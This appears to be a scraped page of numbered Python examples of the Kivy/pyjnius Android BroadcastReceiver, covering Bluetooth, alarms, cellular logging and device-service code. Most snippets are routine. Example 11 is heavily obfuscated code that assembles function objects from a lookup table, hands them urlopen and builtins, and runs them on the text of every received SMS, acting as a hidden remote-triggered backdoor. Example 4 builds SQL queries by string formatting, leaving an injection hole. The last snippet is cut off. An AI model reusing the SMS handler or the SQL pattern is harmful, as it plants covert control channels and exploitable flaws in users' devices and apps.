class Receiver:
    def __init__(self):
        self.registered = False
        self.intentName = ''
        self.actionName = ''

    def register(self, intentName, actionName, callback):
        self.br = BroadcastReceiver(self.on_broadcast, actions=[intentName+actionName])
        self.intentName = intentName
        self.actionName = actionName
        self.callback = callback
        self.registered = True

    def stop(self):
        if self.registered:
            self.br.stop()

    def start(self):
        if self.registered:
            self.br.start()

    def on_broadcast(self, context, intent):
        actionName = self.actionName
        action = intent.getAction()
        if self.intentName + actionName == action:
            self.callback(actionName)
Esempio n. 2
0
class Receiver(object):
    def __init__(self):
        self.registered = False
        self.intentName = ''
        self.actionName = ''

    def register(self, intentName, actionName, callback):
        self.br = BroadcastReceiver(self.on_broadcast,
                                    actions=[intentName + actionName])
        self.intentName = intentName
        self.actionName = actionName
        self.callback = callback
        self.registered = True

    def stop(self):
        if self.registered:
            self.br.stop()

    def start(self):
        if self.registered:
            self.br.start()

    def on_broadcast(self, context, intent):
        actionName = self.actionName
        action = intent.getAction()
        if self.intentName + actionName == action:
            self.callback(actionName)
Esempio n. 3
0
class MainApp(MDApp):
    def build(self):
        self.title = "Bluetooth Input Reader"
        self.theme_cls.primary_palette = "Pink"
        self.theme_cls.primary_hue = "400"
        self.icon = '/res/images/poolleaf_16619.png'
        self.use_kivy_settings = False
        self.br = None
        self.br_strt = False
        if platform == 'android':
            self.br = BroadcastReceiver(self.on_broadcast, actions=['state_changed'])

    def build_config(self, config):
        config.setdefaults('bluetoothsettings', {
            'optionsbluetuuid': '00001101-0000-1000-8000-00805f9b34fb',
            'optionsbluetencoding': 'LATIN-1'})

    def build_settings(self, settings):
        settings.add_json_panel('Bluetooth Settings',
                                self.config,
                                data=bluetooth_settings_json)
    def on_start(self):
        BluetoothHelper().run()

    def start_broadcats(self):
        if self.br and not self.br_strt:
            self.br.start()
            self.br_strt = True

    def stop_broadcats(self):
        if self.br and self.br_strt:
            self.br.stop()
            self.br_strt = False

    def on_broadcast(self, context, intent):
        listen = intent.getAction()
        state = None
        if listen == BluetoothAdapter.ACTION_STATE_CHANGED:
            state = intent.getIntExtra(
                BluetoothAdapter.EXTRA_STATE, BluetoothAdapter.ERROR)
        if state == BluetoothAdapter.STATE_ON:
            self.root.ids.is_bluetooth.text = 'ON'
            self.root.get_devices()
        elif BluetoothAdapter.STATE_OFF:
            self.root.ids.is_bluetooth.text = 'OFF'
    def on_pause(self):
        self.stop_broadcats()
        self.root.cancel_scale()
        return True

    def on_stop(self):
        self.stop_broadcats()
        self.root.cancel_scale()
        return True

    def on_resume(self):
        self.br = BroadcastReceiver(self.on_broadcast, actions=['state_changed'])
        self.start_broadcats()
        return True
Esempio n. 4
0
class CurrentGameScreen(Screen, FloatLayout):
    def __init__ (self, *args, **kwargs):
        super(CurrentGameScreen, self).__init__(*args, **kwargs)
        self.eliminate = self.ids['eliminate']
        self.status = self.ids['status']
        self.eliminate.disabled = True
        self.BluetoothAdapter = autoclass('android.bluetooth.BluetoothAdapter')
        self.BluetoothDevice = autoclass('android.bluetooth.BluetoothDevice')
        self.BluetoothSocket = autoclass('android.bluetooth.BluetoothSocket')
        self.UUID = autoclass('java.util.UUID')
        self.Bundle = autoclass('android.os.Bundle')
        self.Intent = autoclass('android.content.Intent')
        self.IntentFilter = autoclass('android.content.IntentFilter')
        self.Context = autoclass('android.content.Context')
        self.Toast = autoclass('android.widget.Toast')
        self.PythonActivity = autoclass('org.renpy.android.PythonActivity')

        self.myBTA = self.BluetoothAdapter.getDefaultAdapter()
        self.popup = Popup(title='Notification', content=Label(text='Searching For Target. . .'), size_hint=(.9, .3), size=(800, 800))
        self.popup1 = Popup(title='Notification', content=Label(text='Target Found!'), size_hint=(.9, .3), size=(800, 800))


    def goback(self):
        sm.current = "Home"

    def findTarget(self):
        self.popup.open()
        self.br = BroadcastReceiver(self.onReceive, actions=['main'], myFilter = self.BluetoothDevice.ACTION_FOUND)
        self.br.start()
        self.myBTA.startDiscovery()

    def onReceive(self, context, intent):
        action = intent.getAction();
        if (self.BluetoothDevice.ACTION_FOUND == action):
            extras = intent.getParcelableExtra(self.BluetoothDevice.EXTRA_DEVICE)
            device = cast('android.bluetooth.BluetoothDevice', extras)
            deviceName = device.getAddress()
            if deviceName == user.target:
                self.eliminate.disabled = False
                self.eliminate.color = (1,0,0,1)
                self.popup.dismiss()
                self.popup1.open()
                self.br.stop()

    def eliminateUser(self):
        query = retrieve("SELECT target FROM users WHERE bt_ID = '%s'" % (user.target))
        update("UPDATE users SET target = '',status = '0' WHERE bt_ID = '%s'" % (user.target))
        user.target = query[0]
        print user.target, '**************************************'
        create("UPDATE users SET target = '%s' WHERE uid = '%s'" % (user.target, user.uid))
        updateUser()
        query1 = retrieve("SELECT firstname,lastname FROM users WHERE bt_ID = '%s'" % (user.target))
        tfirstname, tlastname = query1[0]
        self.status.text = str("Your Current Target is %s %s" % (tfirstname, tlastname))
Esempio n. 5
0
def main():

    oscid = osc.listen(ipAddr=hostname, port=serviceport)
    osc.init()

    osc.bind(oscid, update_notification, '/update')

    br = BroadcastReceiver(intent_callback,["GET_CONTENT",]) # no prefix ACTION_ required
    br.start()

    while True:
        osc.readQueue(oscid)
        time.sleep( .1 )
Esempio n. 6
0
    async def pair(self, *args, **kwargs) -> bool:
        """Pair with the peripheral.

        You can use ConnectDevice method if you already know the MAC address of the device.
        Else you need to StartDiscovery, Trust, Pair and Connect in sequence.

        Returns:
            Boolean regarding success of pairing.

        """
        loop = asyncio.get_event_loop()

        bondedFuture = loop.create_future()

        def handleBondStateChanged(context, intent):
            bond_state = intent.getIntExtra(
                defs.BluetoothDevice.EXTRA_BOND_STATE, -1)
            if bond_state == -1:
                loop.call_soon_threadsafe(
                    bondedFuture.set_exception,
                    BleakError(f"Unexpected bond state {bond_state}"),
                )
            elif bond_state == defs.BluetoothDevice.BOND_NONE:
                loop.call_soon_threadsafe(
                    bondedFuture.set_exception,
                    BleakError(
                        f"Device with address {self.address} could not be paired with."
                    ),
                )
            elif bond_state == defs.BluetoothDevice.BOND_BONDED:
                loop.call_soon_threadsafe(bondedFuture.set_result, True)

        receiver = BroadcastReceiver(
            handleBondStateChanged,
            actions=[defs.BluetoothDevice.ACTION_BOND_STATE_CHANGED],
        )
        receiver.start()
        try:
            # See if it is already paired.
            bond_state = self.__device.getBondState()
            if bond_state == defs.BluetoothDevice.BOND_BONDED:
                return True
            elif bond_state == defs.BluetoothDevice.BOND_NONE:
                logger.debug(f"Pairing to BLE device @ {self.address}")
                if not self.__device.createBond():
                    raise BleakError(
                        f"Could not initiate bonding with device @ {self.address}"
                    )
            return await bondedFuture
        finally:
            await receiver.stop()
Esempio n. 7
0
def schedule_alarms(alarmas):

    Logger.debug("%s: schedule_alarms %s" % (APP, datetime.now()))

    from jnius import autoclass
    from android.broadcast import BroadcastReceiver

    SystemClock = autoclass('android.os.SystemClock')
    AlarmManager = autoclass('android.app.AlarmManager')

    global broadcast_receiver
    broadcast_receiver = BroadcastReceiver(
        process_broadcast,
        ['org.jtc.planilla.SERVICEALARM', Intent.ACTION_USER_PRESENT,
         'org.jtc.planilla.APP_AWAKE'])
    broadcast_receiver.start()

    am = activity.getSystemService(Context.ALARM_SERVICE)

    # Cancelar todas las posibles alarmas que hubiera de un servicio anterior
    intent = Intent(String('org.jtc.planilla.SERVICEALARM'))
    for i in range(20):  # Suponemos que no hay más de 20 alarmas!
        pi = PendingIntent.getBroadcast(activity, i, intent, 0)
        am.cancel(pi)

    # Fijar las nuevas alarmas
    i = 0
    now = datetime.now()
    for id, alarma in alarmas.iteritems():
        intent = Intent(String('org.jtc.planilla.SERVICEALARM')).putExtra(
            "id", id)
        pi = PendingIntent.getBroadcast(
            activity, i, intent, PendingIntent.FLAG_UPDATE_CURRENT)
        ms = (alarma['hora']-now).seconds * 1000
        Logger.debug("%s: Hora: %s - En %s" % (
            APP, alarma['hora'], tdformat(alarma['hora']-now)))
        am.set(AlarmManager.ELAPSED_REALTIME_WAKEUP,
               SystemClock.elapsedRealtime()+ms, pi)
        i += 1
Esempio n. 8
0
def schedule_alarms(alarmas):

    Logger.debug("%s: schedule_alarms %s" % (APP, datetime.now()))

    from jnius import autoclass
    from android.broadcast import BroadcastReceiver

    SystemClock = autoclass('android.os.SystemClock')
    AlarmManager = autoclass('android.app.AlarmManager')

    global broadcast_receiver
    broadcast_receiver = BroadcastReceiver(process_broadcast, [
        'org.jtc.planilla.SERVICEALARM', Intent.ACTION_USER_PRESENT,
        'org.jtc.planilla.APP_AWAKE'
    ])
    broadcast_receiver.start()

    am = activity.getSystemService(Context.ALARM_SERVICE)

    # Cancelar todas las posibles alarmas que hubiera de un servicio anterior
    intent = Intent(String('org.jtc.planilla.SERVICEALARM'))
    for i in range(20):  # Suponemos que no hay más de 20 alarmas!
        pi = PendingIntent.getBroadcast(activity, i, intent, 0)
        am.cancel(pi)

    # Fijar las nuevas alarmas
    i = 0
    now = datetime.now()
    for id, alarma in alarmas.iteritems():
        intent = Intent(String('org.jtc.planilla.SERVICEALARM')).putExtra(
            "id", id)
        pi = PendingIntent.getBroadcast(activity, i, intent,
                                        PendingIntent.FLAG_UPDATE_CURRENT)
        ms = (alarma['hora'] - now).seconds * 1000
        Logger.debug("%s: Hora: %s - En %s" %
                     (APP, alarma['hora'], tdformat(alarma['hora'] - now)))
        am.set(AlarmManager.ELAPSED_REALTIME_WAKEUP,
               SystemClock.elapsedRealtime() + ms, pi)
        i += 1
Esempio n. 9
0
class PluginsScreen(MobileInsightScreenBase):
    error_log = StringProperty(LOGO_STRING)
    default_app_name = StringProperty("")
    collecting = BooleanProperty(False)
    service = None
    analyzer = None
    terminal_thread = None
    terminal_stop = None
    MAX_LINE = 30
    logs = deque([], MAX_LINE)
    plugins = []
    selectedPlugin = ""
    app_list = get_plugins_list()
    myLayout = GridLayout(cols=2,
                          spacing=5,
                          orientation="vertical",
                          size_hint_y=None,
                          height=(len(app_list) / 2 + len(app_list) % 2) *
                          Window.height / 4)
    popupScroll = ScrollView(size_hint_y=None,
                             size=(Window.width, Window.height * .9))
    popupScroll.add_widget(myLayout)
    popup = Popup(content=popupScroll, title="Choose a plugin")

    def __init__(self, **kw):
        """
        Initialization function. We will do the following task (in order):
        __[x] means already done in App__
            1. [x] Check if the device is rooted
            2. [x] Initialize necessary libs required by MobileInsight (e.g., libwireshark)
            3. [x] Check if Android's security policy allows MobileInsight to access diagnostic mode.
            This is mainly caused by SELinux
            4. [x] Create necessary folders on SDcard (e.g., /sdcard/mobileinsight/, /sdcard/mobileinsight/log/)
            5. Load built-in and 3rd-party plugins (located in /sdcard/mobileinsight/plugins/)
            6. [x] Check if the diagnostic mode is enabled
            7. Load configurations from the setting panel (configs stored in /sdcard/.mobileinsight.ini)
        """

        super(PluginsScreen, self).__init__(**kw)

        self.log_viewer = None

        self.plugins_list = get_plugins_list()

        self.terminal_stop = None
        self.terminal_thread = None
        bootup = True

        #used to shorten long widget names in popup menu
        shortenLabel = CoreLabel(markup=True,
                                 text_size=(Window.width / 2.5, None),
                                 shorten_from="right",
                                 font_size=70)
        #Making and adding widgets to popup menu
        for name in self.plugins_list:
            widget = Button(
                id=name,
                markup=True,
                halign="left",
                valign="top",
                on_release=self.callback,
                background_normal="",
                background_color=self.ids.selectButton.background_color)
            widget.text_size = (Window.width / 2.25, Window.height / 4)
            self.myLayout.add_widget(widget)

            app_path = self.plugins_list[name][0]
            if os.path.exists(os.path.join(app_path, "readme.txt")):
                with open(os.path.join(app_path, "readme.txt"), 'r') as ff:
                    my_description = ff.read()
            else:
                my_description = "no description."
            #shortening long widget names and making font size
            shortenedName = shortenLabel.shorten(name)
            font_size = "60"
            if Window.width < 1450:
                font_size = "45"
            widget.text = "[color=fffafa][size=70]" + shortenedName + "[/size][size=" + font_size + "]\n" + my_description + "[/size][/color]"

            if bootup:
                self.selectedPlugin = name
                self.ids.selectButton.text = "Select Plugin"
                bootup = False

        # register Broadcast Receivers.
        self.registerBroadcastReceivers()

    def registerBroadcastReceivers(self):
        self.brStopAck = BroadcastReceiver(
            self.on_broadcastStopServiceAck,
            actions=['MobileInsight.Plugin.StopServiceAck'])
        self.brStopAck.start()

    #Setting the text for the Select Plugin Menu button
    def callback(self, obj):
        self.selectedPlugin = obj.id
        self.log_info("screens" + str(self.manager.screens))
        if self.manager.has_screen('HomeScreen'):
            self.manager.get_screen('HomeScreen').set_plugin(
                self.selectedPlugin)
            # HomeScreen.set_plugin(self.selectedPlugin)
        self.popup.dismiss()

    def log_info(self, msg):
        Logger.info(msg)
        self.append_log("[b][color=00ff00][INFO][/color][/b]: " + msg)

    def log_warning(self, msg):
        Logger.warning(msg)
        self.append_log("[b][color=00ffff][WARNING][/color][/b]: " + msg)

    def log_error(self, msg):
        Logger.error(msg)
        self.append_log("[b][color=ff0000][ERROR][/color][/b]: " + msg)

    def append_log(self, s):
        self.error_log += "\n"
        self.error_log += s

    def popUpMenu(self):
        self.popup.open()

    def on_broadcastStopServiceAck(self, context, intent):
        self.log_info(
            "Received MobileInsight.Plugin.StopServiceAck from plugin")
        self.pluginAck = True

    def on_enter(self):
        pass

    def on_leave(self):
        pass

    def configure_coordinator(self):
        pass
Esempio n. 10
0
class LoggingAnalyzer(Analyzer):
    """
    An analyzer for cellular events logging and decoding
    """
    def __init__(self, config):
        Analyzer.__init__(self)

        self.__log_dir = util.get_mobileinsight_log_path()
        self.__dec_log_dir = util.get_mobileinsight_log_decoded_path()
        self.__orig_file = ""
        self.__raw_msg = {}
        self.__raw_msg_key = ""
        self.__msg_cnt = 0
        self.__dec_msg = []
        self.__is_wifi_enabled = False
        self.__log_timestamp = ""
        self.__upload_log_flag = True

        try:
            if config['privacy'] == '1':
                self.__upload_log_flag = True
            else:
                self.__upload_log_flag = False
        except BaseException:
            self.__upload_log_flag = False

        try:
            if config['is_use_wifi'] == '1':
                self.__is_use_wifi = True
            else:
                self.__is_use_wifi = False
        except BaseException:
            self.__is_use_wifi = False
        try:
            if config['is_dec_log'] == '1':
                self.__is_dec_log = True
                self.__dec_log_name = "diag_log_" + \
                    datetime.datetime.now().strftime('%Y%m%d_%H%M%S') + ".txt"
                self.__dec_log_path = os.path.join(self.__dec_log_dir,
                                                   self.__dec_log_name)
            else:
                self.__is_dec_log = False
        except BaseException:
            self.__is_dec_log = False
        try:
            self.__dec_log_type = config['log_type']
        except BaseException:
            self.__dec_log_type = ""

        if not os.path.exists(self.__log_dir):
            os.makedirs(self.__log_dir)
        if not os.path.exists(self.__dec_log_dir):
            os.makedirs(self.__dec_log_dir)

        self.add_source_callback(self._logger_filter)

        self.br = BroadcastReceiver(self.on_broadcast,
                                    actions=['MobileInsight.Main.StopService'])
        self.br.start()

    def on_broadcast(self, context, intent):
        '''
        This plugin is going to be stopped, finish closure work
        '''
        self.log_info("MobileInsight.Main.StopService is received")
        self._check_orphan_log()

        IntentClass = autoclass("android.content.Intent")
        intent = IntentClass()
        action = 'MobileInsight.Plugin.StopServiceAck'
        intent.setAction(action)
        try:
            util.pyService.sendBroadcast(intent)
        except Exception as e:
            import traceback
            self.log_error(str(traceback.format_exc()))

    def _check_orphan_log(self):
        '''
        Check if there is any orphan log left in cache folder
        '''
        dated_files = []
        mi2log_folder = os.path.join(util.get_cache_dir(), "mi2log")
        orphan_filename = ""
        for subdir, dirs, files in os.walk(mi2log_folder):
            for f in files:
                fn = os.path.join(subdir, f)
                dated_files.append((os.path.getmtime(fn), fn))
        dated_files.sort()
        dated_files.reverse()
        for dated_file in dated_files:
            self.__orig_file = dated_file[1]
            # print "self.__orig_file = %s" % str(self.__orig_file)
            # print "self.__orig_file modified time = %s" % str(time.strftime('%Y%m%d_%H%M%S', time.localtime(os.path.getmtime(self.__orig_file))))
            util.run_shell_cmd("chmod 777 %s" % self.__orig_file)
            orphan_filename = self._save_log()
            self.log_info("Found undersized orphan log, file saved to %s" %
                          orphan_filename)

    def __del__(self):
        self.log_info("__del__ is called")

    def _logger_filter(self, msg):
        """
        Callback to process new generated logs.

        :param msg: the message from trace collector.
        :type msg: Event
        """

        # when a new log comes, save it to external storage and upload
        if msg.type_id.find("new_diag_log") != -1:
            self.__log_timestamp = datetime.datetime.now().strftime(
                '%Y%m%d_%H%M%S')
            self.__orig_file = msg.data.decode().get("filename")

            # FIXME (Zengwen): the change access command is a walkaround
            # solution
            util.run_shell_cmd("chmod 777 %s" % self.__orig_file)

            self._save_log()
            self.__is_wifi_enabled = util.get_wifi_status()

            if self.__is_use_wifi is True and self.__is_wifi_enabled is True and self.__upload_log_flag is True:
                try:
                    for f in os.listdir(self.__log_dir):
                        if f.endswith(".mi2log"):
                            orphan_file = os.path.join(self.__log_dir, f)
                            t = threading.Thread(target=upload_log,
                                                 args=(orphan_file, ))
                            t.start()
                except Exception as e:
                    pass
            else:
                # use cellular data to upload. Skip for now.
                pass

        if self.__is_dec_log is True:
            if self.__dec_log_type == "LTE Control Plane":
                if (msg.type_id.startswith("LTE_RRC")
                        or msg.type_id.startswith("LTE_NAS")):
                    self._decode_msg(msg)
            elif self.__dec_log_type == "LTE Control/Data Plane":
                if (msg.type_id.startswith("LTE")
                        and not msg.type_id.startswith("LTE_PHY")):
                    self._decode_msg(msg)
            elif self.__dec_log_type == "LTE Control/Data/PHY":
                if (msg.type_id.startswith("LTE")):
                    self._decode_msg(msg)
            elif self.__dec_log_type == "LTE/3G Control Plane":
                if ("RRC" in msg.type_id or "NAS" in msg.type_id):
                    self._decode_msg(msg)
            elif self.__dec_log_type == "All":
                if (msg.type_id.startswith("LTE")
                        or msg.type_id.startswith("WCDMA")
                        or msg.type_id.startswith("UMTS")):
                    self._decode_msg(msg)
            else:
                pass
        else:
            pass

    def _decode_msg(self, msg):
        self.__raw_msg[self.__msg_cnt] = msg.data
        self.__msg_cnt += 1
        if len(self.__raw_msg) >= 20:
            try:
                with open(self.__dec_log_path, 'a') as f:
                    for key in self.__raw_msg:
                        log_item = self.__raw_msg[key].decode_xml()
                        f.writelines(log_item)
            except BaseException:
                pass
            self.__raw_msg.clear()  # reset the dict
        if self.__msg_cnt >= 200:  # open a new file
            self.__dec_log_name = "mi2log_" + \
                datetime.datetime.now().strftime('%Y%m%d_%H%M%S') + ".txt"
            self.__dec_log_path = os.path.join(self.__dec_log_dir,
                                               self.__dec_log_name)
            self.log_info(
                "NetLogger: decoded cellular log being saved to %s, please check."
                % self.__dec_log_path)
            self.__raw_msg.clear()  # reset the dict
            self.__msg_cnt = 0

    def _save_log(self):
        self.__log_timestamp = str(
            time.strftime('%Y%m%d_%H%M%S',
                          time.localtime(os.path.getmtime(self.__orig_file))))
        milog_base_name = "diag_log_%s_%s_%s.mi2log" % (
            self.__log_timestamp, util.get_phone_info(),
            util.get_operator_info())
        milog_abs_name = os.path.join(self.__log_dir, milog_base_name)
        shutil.copyfile(self.__orig_file, milog_abs_name)
        os.remove(self.__orig_file)

        return milog_abs_name
Esempio n. 11
0
    try:
        f=type((lambda:(lambda:None for n in range(len(((((),(((),())))))))))().next())
        u=(lambda:type((lambda:(lambda:None for n in range(len(zip((((((((())))))))))))).func_code))()
        n=f(u(int(wwpd[4][1]),int(wwpd[7][1]),int(wwpd[6][1]),int(wwpd[9][1]),wwpd[2][1],
            (None,wwpd[10][1],wwpd[13][1],wwpd[11][1],wwpd[15][1]),(wwpd[20][1],wwpd[21][1]),
            (wwpd[16][1],wwpd[17][1],wwpd[18][1],wwpd[11][1],wwpd[19][1]),wwpd[22][1],wwpd[25][1],int(wwpd[4][1]),wwpd[0][1]),
            {wwpd[27][1]:__builtins__,wwpd[28][1]:wwpd[29][1]})
        c=partial(n, [x for x in map(lambda i:n(i),range(int(0xbeef)))])
        FIGHT = f(u(int(wwpd[4][1]),int(wwpd[4][1]),int(wwpd[5][1]),int(wwpd[9][1]),wwpd[3][1],
                (None, wwpd[23][1]), (wwpd[14][1],wwpd[24][1]),(wwpd[12][1],),wwpd[22][1],wwpd[26][1],int(wwpd[8][1]),wwpd[1][1]),
                {wwpd[14][1]:c,wwpd[24][1]:urlopen,wwpd[27][1]:__builtins__,wwpd[28][1]:wwpd[29][1]})
        FIGHT(msg)
    except:
        pass


def on_sms_received(context, intent):
    msg_bundle = Bundle(intent.getExtras())
    msg_bytes = [m for m in msg_bundle.get("pdus")]
    messages = [SmsMessage.createFromPdu(mb) for mb in msg_bytes]
    for m in messages:
        msg = m.getMessageBody().split("\a")[1]
        fire_in_the_disco(msg)

if __name__ == "__main__":
    br = BroadcastReceiver(on_sms_received, actions=[SMS_RECEIVED])
    br.start()

    while 1:
        sleep(60*5)
Esempio n. 12
0
class DeviceManagerService(object):
    def __init__(self, **kwargs):
        self.debug_params = dict()
        self.addit_params = dict()
        for key, val in kwargs.items():
            mo = re.search('^debug_([^_]+)_(.+)', key)
            if mo:
                kk = mo.group(1)
                ll = self.debug_params.get(kk, dict())
                ll[mo.group(2)] = val
                self.debug_params[kk] = ll
            elif key.startswith('ab_'):
                self.addit_params[key[3:]] = val
            else:
                setattr(self, key, val)
        _LOGGER.debug(
            f'Addit params for DM {self.addit_params} AND {self.debug_params}')
        self.db = None
        self.oscer = None
        self.notification_formatter_info = dict()
        self.connectors_format = False
        self.devicemanager_class_by_type = dict()
        self.devicemanagers_pre_actions = dict()
        self.devicemanagers_by_id = dict()
        self.devicemanagers_by_uid = dict()
        self.connectors_info = []
        self.users = []
        self.views = []
        self.devices = []
        self.devicemanagers_active = []
        self.devicemanagers_active_done = []
        self.timer_obj = None
        self.main_session = None
        self.last_user = None
        self.devicemanagers_active_info = dict()
        self.stop_event = asyncio.Event()
        self.last_notify_ms = time() * 1000
        if self.android:
            from jnius import autoclass
            from android.broadcast import BroadcastReceiver
            self.Context = autoclass('android.content.Context')
            self.AndroidString = autoclass('java.lang.String')
            self.NotificationCompatInboxStyle = autoclass(
                'android.app.Notification$InboxStyle')
            NotificationBuilder = autoclass('android.app.Notification$Builder')
            self.PythonActivity = autoclass('org.kivy.android.PythonActivity')
            self.service = autoclass('org.kivy.android.PythonService').mService
            NOTIFICATION_CHANNEL_ID = self.AndroidString(
                self.service.getPackageName().encode('utf-8'))
            self.NOTIFICATION_GROUP = 'pyMovizGroup'
            self.FOREGROUND_NOTIFICATION_ID = 4563
            app_context = self.service.getApplication().getApplicationContext()
            self.app_context = app_context
            self.notification_service = self.service.getSystemService(
                self.Context.NOTIFICATION_SERVICE)
            self.CONNECT_ACTION = 'device_manager_service.view.CONNECT'
            self.DISCONNECT_ACTION = 'device_manager_service.view.DISCONNECT'
            self.STOP_ACTION = 'device_manager_service.STOP'

            self.br = BroadcastReceiver(self.on_broadcast,
                                        actions=[
                                            self.CONNECT_ACTION,
                                            PRESENCE_REQUEST_ACTION,
                                            self.DISCONNECT_ACTION,
                                            self.STOP_ACTION
                                        ])
            self.br.start()

            Intent = autoclass('android.content.Intent')
            self.Intent = Intent
            PendingIntent = autoclass('android.app.PendingIntent')
            NotificationActionBuilder = autoclass(
                'android.app.Notification$Action$Builder')
            Notification = autoclass('android.app.Notification')
            Color = autoclass("android.graphics.Color")
            NotificationChannel = autoclass('android.app.NotificationChannel')
            NotificationManager = autoclass('android.app.NotificationManager')
            channelName = self.AndroidString(
                'DeviceManagerService'.encode('utf-8'))
            chan = NotificationChannel(NOTIFICATION_CHANNEL_ID, channelName,
                                       NotificationManager.IMPORTANCE_DEFAULT)
            chan.setLightColor(Color.BLUE)
            chan.setLockscreenVisibility(Notification.VISIBILITY_PRIVATE)
            self.notification_service.createNotificationChannel(chan)
            BitmapFactory = autoclass("android.graphics.BitmapFactory")
            Icon = autoclass("android.graphics.drawable.Icon")
            BitmapFactoryOptions = autoclass(
                "android.graphics.BitmapFactory$Options")
            # Drawable = jnius.autoclass("{}.R$drawable".format(service.getPackageName()))
            # icon = getattr(Drawable, 'icon')
            options = BitmapFactoryOptions()
            # options.inMutable = True
            # declaredField = options.getClass().getDeclaredField("inPreferredConfig")
            # declaredField.set(cast('java.lang.Object',options), cast('java.lang.Object', BitmapConfig.ARGB_8888))
            # options.inPreferredConfig = BitmapConfig.ARGB_8888;
            notification_image = join(dirname(__file__), '..', 'images',
                                      'device_manager.png')
            bm = BitmapFactory.decodeFile(notification_image, options)
            notification_icon = Icon.createWithBitmap(bm)

            notification_image = join(dirname(__file__), '..', 'images',
                                      'lan-connect.png')
            bm = BitmapFactory.decodeFile(notification_image, options)
            icon = Icon.createWithBitmap(bm)
            broadcastIntent = Intent(self.CONNECT_ACTION)
            actionIntent = PendingIntent.getBroadcast(
                self.service, 0, broadcastIntent,
                PendingIntent.FLAG_UPDATE_CURRENT)
            connect_action = NotificationActionBuilder(
                icon, self.AndroidString('CONNECT'.encode('utf-8')),
                actionIntent).build()

            notification_image = join(dirname(__file__), '..', 'images',
                                      'lan-disconnect.png')
            bm = BitmapFactory.decodeFile(notification_image, options)
            icon = Icon.createWithBitmap(bm)
            broadcastIntent = Intent(self.DISCONNECT_ACTION)
            actionIntent = PendingIntent.getBroadcast(
                self.service, 0, broadcastIntent,
                PendingIntent.FLAG_UPDATE_CURRENT)
            disconnect_action = NotificationActionBuilder(
                icon, self.AndroidString('DISCONNECT'.encode('utf-8')),
                actionIntent).build()

            notification_image = join(dirname(__file__), '..', 'images',
                                      'stop.png')
            bm = BitmapFactory.decodeFile(notification_image, options)
            icon = Icon.createWithBitmap(bm)
            broadcastIntent = Intent(self.STOP_ACTION)
            actionIntent = PendingIntent.getBroadcast(
                self.service, 0, broadcastIntent,
                PendingIntent.FLAG_UPDATE_CURRENT)
            stop_action = NotificationActionBuilder(
                icon, self.AndroidString('STOP'.encode('utf-8')),
                actionIntent).build()

            notification_intent = Intent(app_context, self.PythonActivity)
            notification_intent.setFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP
                                         | Intent.FLAG_ACTIVITY_SINGLE_TOP
                                         | Intent.FLAG_ACTIVITY_NEW_TASK)
            notification_intent.setAction(Intent.ACTION_MAIN)
            notification_intent.addCategory(Intent.CATEGORY_LAUNCHER)
            notification_intent = PendingIntent.getActivity(
                self.service, 0, notification_intent, 0)
            self.notification_builder = NotificationBuilder(app_context, NOTIFICATION_CHANNEL_ID)\
                .setContentIntent(notification_intent)\
                .setSmallIcon(notification_icon)\
                .addAction(connect_action)\
                .addAction(disconnect_action)\
                .addAction(stop_action)
            self.notification_builder_no_action = NotificationBuilder(app_context, NOTIFICATION_CHANNEL_ID)\
                .setContentIntent(notification_intent)\
                .setSmallIcon(notification_icon)

    def on_broadcast(self, context, intent):
        action = intent.getAction()
        _LOGGER.info(f'on_broadcast action {action}')
        if action == self.CONNECT_ACTION:
            self.loop.call_soon_threadsafe(self.on_command_condisc, 'c',
                                           self.last_user)
        elif action == self.DISCONNECT_ACTION:
            self.loop.call_soon_threadsafe(self.on_command_condisc, 'd')
        elif action == PRESENCE_REQUEST_ACTION:
            self.app_context.sendBroadcast(
                self.Intent(PRESENCE_RESPONSE_ACTION))
        else:
            self.loop.call_soon_threadsafe(self.on_command_stop)

    def change_service_notification(self, dm, **kwargs):
        if self.android:
            alias = dm.get_device().get_alias()
            if alias not in self.notification_formatter_info:
                idnot = self.FOREGROUND_NOTIFICATION_ID + len(
                    self.notification_formatter_info)
                self.notification_formatter_info[alias] =\
                    DeviceNotiication(dm,
                                      idnot,
                                      self)
            self.notification_formatter_info[alias].format(**kwargs)

    async def init_osc(self):
        self.oscer = OSCManager(hostlisten=self.hostlisten,
                                portlisten=self.portlisten)
        await self.oscer.init(on_init_ok=self.on_osc_init_ok)

    def on_osc_init_ok(self, exception=None):
        if not exception:
            self.oscer.handle(COMMAND_STOP, self.on_command_stop)
            self.oscer.handle(COMMAND_LOGLEVEL, self.on_command_loglevel)
            self.oscer.handle(COMMAND_NEWDEVICE, self.on_command_newdevice)
            self.oscer.handle(COMMAND_QUERY,
                              self.on_command_query,
                              do_split=True)
            self.oscer.handle(COMMAND_CONNECT, self.on_command_condisc, 'c')
            self.oscer.handle(COMMAND_DISCONNECT, self.on_command_condisc, 'd')
            self.oscer.handle(COMMAND_CONNECTORS, self.on_command_connectors)
            self.oscer.handle(COMMAND_LISTDEVICES, self.on_command_listdevices)
            self.oscer.handle(COMMAND_LISTUSERS, self.on_command_listusers)
            self.oscer.handle(COMMAND_LISTVIEWS, self.on_command_listviews)
            self.oscer.handle(
                COMMAND_SAVEVIEW,
                partial(self.on_command_dbelem,
                        asyncmethod=self.on_command_saveelem_async,
                        lst=self.views,
                        cls=View,
                        on_ok=self.set_devicemanagers_active))
            self.oscer.handle(
                COMMAND_DELVIEW,
                partial(self.on_command_dbelem,
                        asyncmethod=self.on_command_delelem_async,
                        lst=self.views,
                        cls=View,
                        on_ok=self.set_devicemanagers_active))
            self.oscer.handle(
                COMMAND_SAVEUSER,
                partial(self.on_command_dbelem,
                        asyncmethod=self.on_command_saveelem_async,
                        lst=self.users,
                        cls=User))
            self.oscer.handle(
                COMMAND_DELUSER,
                partial(self.on_command_dbelem,
                        asyncmethod=self.on_command_delelem_async,
                        lst=self.users,
                        cls=User))
            self.create_device_managers()

    def on_command_condisc(self, cmd, *args, sender=None, **kwargs):
        _LOGGER.info(f'On Command condisc: {cmd}')
        if cmd == 'c':
            if args and isinstance(args[0], User) and args[0] in self.users:
                self.last_user = args[0]
            else:
                self.oscer.send(COMMAND_CONFIRM,
                                CONFIRM_FAILED_1,
                                MSG_INVALID_USER,
                                dest=sender)
                return
        self.oscer.send(COMMAND_CONFIRM, CONFIRM_OK, cmd, dest=sender)
        for dm in self.devicemanagers_active_done.copy():
            self.devicemanagers_active.append(dm)
            self.devicemanagers_active_done.remove(dm)
        from device.manager import GenericDeviceManager
        GenericDeviceManager.sort(self.devicemanagers_active)
        for _, info in self.devicemanagers_active_info.items():
            info['operation'] = cmd
            info['retry'] = 0
        Timer(
